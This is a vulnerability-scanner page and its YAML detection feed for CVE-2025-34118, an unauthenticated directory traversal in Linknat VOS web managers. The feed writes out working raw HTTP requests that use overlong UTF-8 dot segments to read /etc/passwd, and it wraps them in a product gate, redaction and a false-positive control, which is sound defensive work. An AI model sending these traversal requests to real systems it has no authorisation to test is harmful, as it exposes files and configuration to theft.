Linknat Vos — 1 vulnerability check

noctis ships 1 vulnerability check for Linknat Vos, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Linknat VOS3000/VOS2009 Web Manager Directory Traversal

CVECVE-2025-34118
Severityhigh · CVSS 8.7
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, tcp_connect, script · highest QoD 75
Feedtests/vulnerabilities/linknat-vos/CVE-2025-34118.yaml

Tests the web manager of Linknat VOS3000 and VOS2009 softswitches (VOS Manager before 2.1.9.07) for the directory traversal through overlong UTF-8 encoded dots. The feed only runs against a VOS web manager: the home page must reference the VOS3000 icon or the VOS2009 keywords, or one of the English, simplified or traditional Chinese language tables (/eng/js/lang_en_us.js, /chs/js/lang_zh_cn.js, /cht/js/lang_zh_tw.js) must be the VOS language table. It then requests /etc/passwd through eight "%c0%ae%c0%ae/" segments placed directly in the URL path, without any login, sent verbatim so the encoded segments reach the server; when that reads nothing, it sends the same traversal from the /eng/ manager path. A root (uid 0) passwd line in the reply confirms that files outside the web root can be read. A control request for an absent random file, with the same traversal, must answer without any passwd line, so a server that returns the same content on every request is not reported. Only the world-readable /etc/passwd is read, and its password field is redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET /
  2. Checks root_r.body for (?i)images/vos3000\.ico|content="vos2009,|<title>[^<]*\bVOS(?:3000|20…
  3. HTTP(S) request GET /eng/js/lang_en_us.js
  4. Checks lang_r.body for (?s)\bs\[8\]\s*=\s*"[^"]*".*\bs\[169\]\s*=\s*"
  5. HTTP(S) request GET /chs/js/lang_zh_cn.js
  6. Checks lang_r.body for (?s)\bs\[8\]\s*=\s*"[^"]*".*\bs\[169\]\s*=\s*"
  7. HTTP(S) request GET /cht/js/lang_zh_tw.js
  8. Checks lang_r.body for (?s)\bs\[8\]\s*=\s*"[^"]*".*\bs\[169\]\s*=\s*"
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae…
  10. Checks passwd_r.banner for (?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\r\n]*:0:([01]):[^:\r\n]*:([^:\r\n]*)…
  11. Parses / computes the next value with a Rhai script
  12. Raw TCP (TLS on HTTPS), sent verbatim: GET /eng/../%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd H…
  13. Checks passwd_r.banner for (?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\r\n]*:0:([01]):[^:\r\n]*:([^:\r\n]*)…
  14. Parses / computes the next value with a Rhai script
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/linknat-vos/CVE-2025-34118.yaml
# Linknat VOS3000 / VOS2009 web manager directory traversal — CVE-2025-34118
#
# The VOS Manager web interface of Linknat VOS2009 and early VOS3000 builds
# (before 2.1.9.07; 2.1.1.5, 2.1.1.8 and 2.1.2.0 are known affected) decodes
# the overlong UTF-8 sequence "%c0%ae" into "." after its "../" check, so
# "%c0%ae%c0%ae/" segments in the URL path climb out of the web root. An
# unauthenticated attacker reads any file the server process can read.
#
# Detection (benign, read-only):
#   1. Gate: the target must be a VOS web manager — GET / references the
#      VOS3000 icon or the VOS2009 meta keywords, or one of the /eng/, /chs/,
#      /cht/ language tables (js/lang_*.js, s[8] product / s[169] version strings,
#      the file Metasploit's linknat_vos_traversal module reads the version
#      from). The overlong-dot traversal is not specific to VOS (old Tomcat
#      had the same flaw, CVE-2008-2938), so the CVE is only attributed to a
#      VOS manager.
#   2. GET /(%c0%ae%c0%ae/ x8)etc/passwd sent verbatim through tcp_connect
#      (same request as the source check) and match a uid-0 passwd line.
#      When that reads nothing, GET /eng/../(%c0%ae%c0%ae/ x5)etc/passwd
#      (Metasploit's request shape, under the language subpath through which
#      the flaw is reached) for a manager served only under /eng/.
#   3. Control: the request shape that read the file, for an absent random
#      file, must answer and carry no passwd line (fail-closed: no control
#      reply → no finding).
# Only /etc/passwd is read; its password field is redacted before it reaches
# the finding. QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - absent-file control, so a server returning the same file on every request
#     (tarpit / honeypot) is not reported;
#   - the source check matches the bare string "etc/passwd" anywhere in the
#     reply, so a 404 page echoing the requested path is a false positive;
#     this feed requires an actual uid-0 passwd line;
#   - a second request shape under /eng/ and the Chinese language tables in
#     the product gate, so a manager served only under its language
#     subpaths is not missed;
#   - any uid-0 account counts, and the password hash never reaches the
#     evidence.
#
# CVSS: NVD lists only the CNA's CVSS 4.0 score (8.7, VC:H, no v3 vector);
# the backlog issue's 7.8 was an older CVSS v2-era value.
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_linknat_vos_dir_traversal.nasl
# (GPL-2.0-only). Request also used by Metasploit
# auxiliary/scanner/http/linknat_vos_traversal.
uid: b913ec2c-4080-4863-94fa-4b1860f92cd2
name: "Linknat VOS3000/VOS2009 Web Manager Directory Traversal (CVE-2025-34118)"
description: |
  Tests the web manager of Linknat VOS3000 and VOS2009 softswitches (VOS
  Manager before 2.1.9.07) for the directory traversal through overlong UTF-8
  encoded dots. The feed only runs against a VOS web manager: the home page
  must reference the VOS3000 icon or the VOS2009 keywords, or one of the
  English, simplified or traditional Chinese language tables
  (/eng/js/lang_en_us.js, /chs/js/lang_zh_cn.js, /cht/js/lang_zh_tw.js) must
  be the VOS language table. It then requests /etc/passwd through eight
  "%c0%ae%c0%ae/" segments placed directly in the URL path, without any login,
  sent verbatim so the encoded segments reach the server; when that reads
  nothing, it sends the same traversal from the /eng/ manager path. A root (uid 0) passwd line in the reply confirms that files
  outside the web root can be read. A control request for an absent random
  file, with the same traversal, must answer without any passwd line, so a server that returns the same
  content on every request is not reported. Only the world-readable
  /etc/passwd is read, and its password field is redacted from the evidence.
cves: [CVE-2025-34118]
cvss: 8.7
severity: high
category: file-read
confidence_base: 0.30
tags: [linknat, vos3000, vos2009, voip, softswitch, path-traversal, file-read, overlong-utf8, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-34118"
  - "https://www.vulncheck.com/advisories/linknat-vos-manager-path-traversal-file-disclosure"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/linknat_vos_traversal.rb"
  # OpenVAS/Greenbone NASL 2016/gb_linknat_vos_dir_traversal.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-root-r
    action: set_var
    var_name: root_r
    var_value: {status: 0, body: ""}

  - id: init-lang-r
    action: set_var
    var_name: lang_r
    var_value: {status: 0, body: ""}

  - id: init-vos
    action: set_var
    var_name: vos
    var_value: false

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {connected: false, banner: ""}

  - id: init-passwd-m
    action: set_var
    var_name: passwd_m
    var_value: {matched: false, captures: []}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-trav
    action: set_var
    var_name: trav
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Gate: the web server must be a Linknat VOS web manager ───────────────
  - id: root-page
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    store_as: root_r

  - id: root-vos
    action: match
    source: root_r.body
    pattern: "(?i)images/vos3000\\.ico|content=\"vos2009,|<title>[^<]*\\bVOS(?:3000|2009)\\b"
    condition: 'root_r.status == 200 && type_of(root_r.body) == "string"'
    on_match:
      set_vars:
        vos: true

  - id: lang-eng-js
    action: http_request
    method: GET
    path: "/eng/js/lang_en_us.js"
    port: "{{port}}"
    tls_insecure: true
    condition: "vos == false"
    store_as: lang_r

  - id: lang-eng-vos
    action: match
    source: lang_r.body
    pattern: "(?s)\\bs\\[8\\]\\s*=\\s*\"[^\"]*\".*\\bs\\[169\\]\\s*=\\s*\""
    condition: 'vos == false && lang_r.status == 200 && type_of(lang_r.body) == "string"'
    on_match:
      set_vars:
        vos: true

  - id: lang-chs-js
    action: http_request
    method: GET
    path: "/chs/js/lang_zh_cn.js"
    port: "{{port}}"
    tls_insecure: true
    condition: "vos == false"
    store_as: lang_r

  - id: lang-chs-vos
    action: match
    source: lang_r.body
    pattern: "(?s)\\bs\\[8\\]\\s*=\\s*\"[^\"]*\".*\\bs\\[169\\]\\s*=\\s*\""
    condition: 'vos == false && lang_r.status == 200 && type_of(lang_r.body) == "string"'
    on_match:
      set_vars:
        vos: true

  - id: lang-cht-js
    action: http_request
    method: GET
    path: "/cht/js/lang_zh_tw.js"
    port: "{{port}}"
    tls_insecure: true
    condition: "vos == false"
    store_as: lang_r

  - id: lang-cht-vos
    action: match
    source: lang_r.body
    pattern: "(?s)\\bs\\[8\\]\\s*=\\s*\"[^\"]*\".*\\bs\\[169\\]\\s*=\\s*\""
    condition: 'vos == false && lang_r.status == 200 && type_of(lang_r.body) == "string"'
    on_match:
      set_vars:
        vos: true

  # ── Read /etc/passwd through overlong-dot segments (sent verbatim) ───────
  # Shape 1: from the root path, eight segments.
  - id: read-passwd-1
    action: tcp_connect
    port: "{{port}}"
    send: "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'vos == true'
    store_as: passwd_r

  # No on_match: the raw reply (password hash) must not become evidence.
  # Captures: account name, gid, home, shell of a uid-0 line.
  - id: passwd-content-1
    action: match
    source: passwd_r.banner
    pattern: "(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
    condition: 'vos == true && passwd_r.connected == true && type_of(passwd_r.banner) == "string"'
    store_as: passwd_m

  - id: passwd-redact-1
    action: script
    code: |
      if proof != "" { proof }
      else if passwd_m.matched && passwd_m.captures.len() > 3 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2] + ":" + passwd_m.captures[3]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>:" + passwd_m.captures[3]
        }
      } else { "" }
    store_as: proof

  - id: trav-1
    action: set_var
    var_name: trav
    var_value: "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/"
    condition: 'vos == true && proof != ""'

  # Shape 2 (only when shape 1 read nothing): under the /eng/ manager path,
  # as the flaw is reached through the language subpaths.
  - id: read-passwd-2
    action: tcp_connect
    port: "{{port}}"
    send: "GET /eng/../%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'vos == true && proof == ""'
    store_as: passwd_r

  # No on_match: the raw reply (password hash) must not become evidence.
  # Captures: account name, gid, home, shell of a uid-0 line.
  - id: passwd-content-2
    action: match
    source: passwd_r.banner
    pattern: "(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
    condition: 'vos == true && proof == "" && passwd_r.connected == true && type_of(passwd_r.banner) == "string"'
    store_as: passwd_m

  - id: passwd-redact-2
    action: script
    code: |
      if proof != "" { proof }
      else if passwd_m.matched && passwd_m.captures.len() > 3 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2] + ":" + passwd_m.captures[3]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>:" + passwd_m.captures[3]
        }
      } else { "" }
    store_as: proof

  - id: trav-2
    action: set_var
    var_name: trav
    var_value: "/eng/../%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/"
    condition: 'vos == true && trav == "" && proof != ""'

  # ── Control: same request, absent random file — must NOT carry a passwd
  # line. The absent name still contains "etc/passwd", so a honeypot that keys
  # a fake file on that substring answers it too.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{trav}}etc/passwd.noctis-absent-{{oob_token}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'proof != "" && trav != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:"
    condition: 'proof != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report
    action: match
    source: proof
    pattern: "^(root|<redacted>):<redacted>:0:[01]:"
    condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
    on_match:
      finding:
        title: "Linknat VOS3000/VOS2009 Web Manager Directory Traversal (CVE-2025-34118)"
        description: "An unauthenticated GET request with overlong UTF-8 encoded dot segments (\"%c0%ae%c0%ae/\") in the URL path to the Linknat VOS web manager returned the content of /etc/passwd, while the same request for an absent file did not. Any file readable by the web server process can be read this way, including the softswitch configuration files."
        remediation: "Upgrade VOS Manager to 2.1.9.07 or later (contact Linknat), and restrict access to the VOS web manager to trusted management networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{trav}}etc/passwd on a Linknat VOS web manager returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub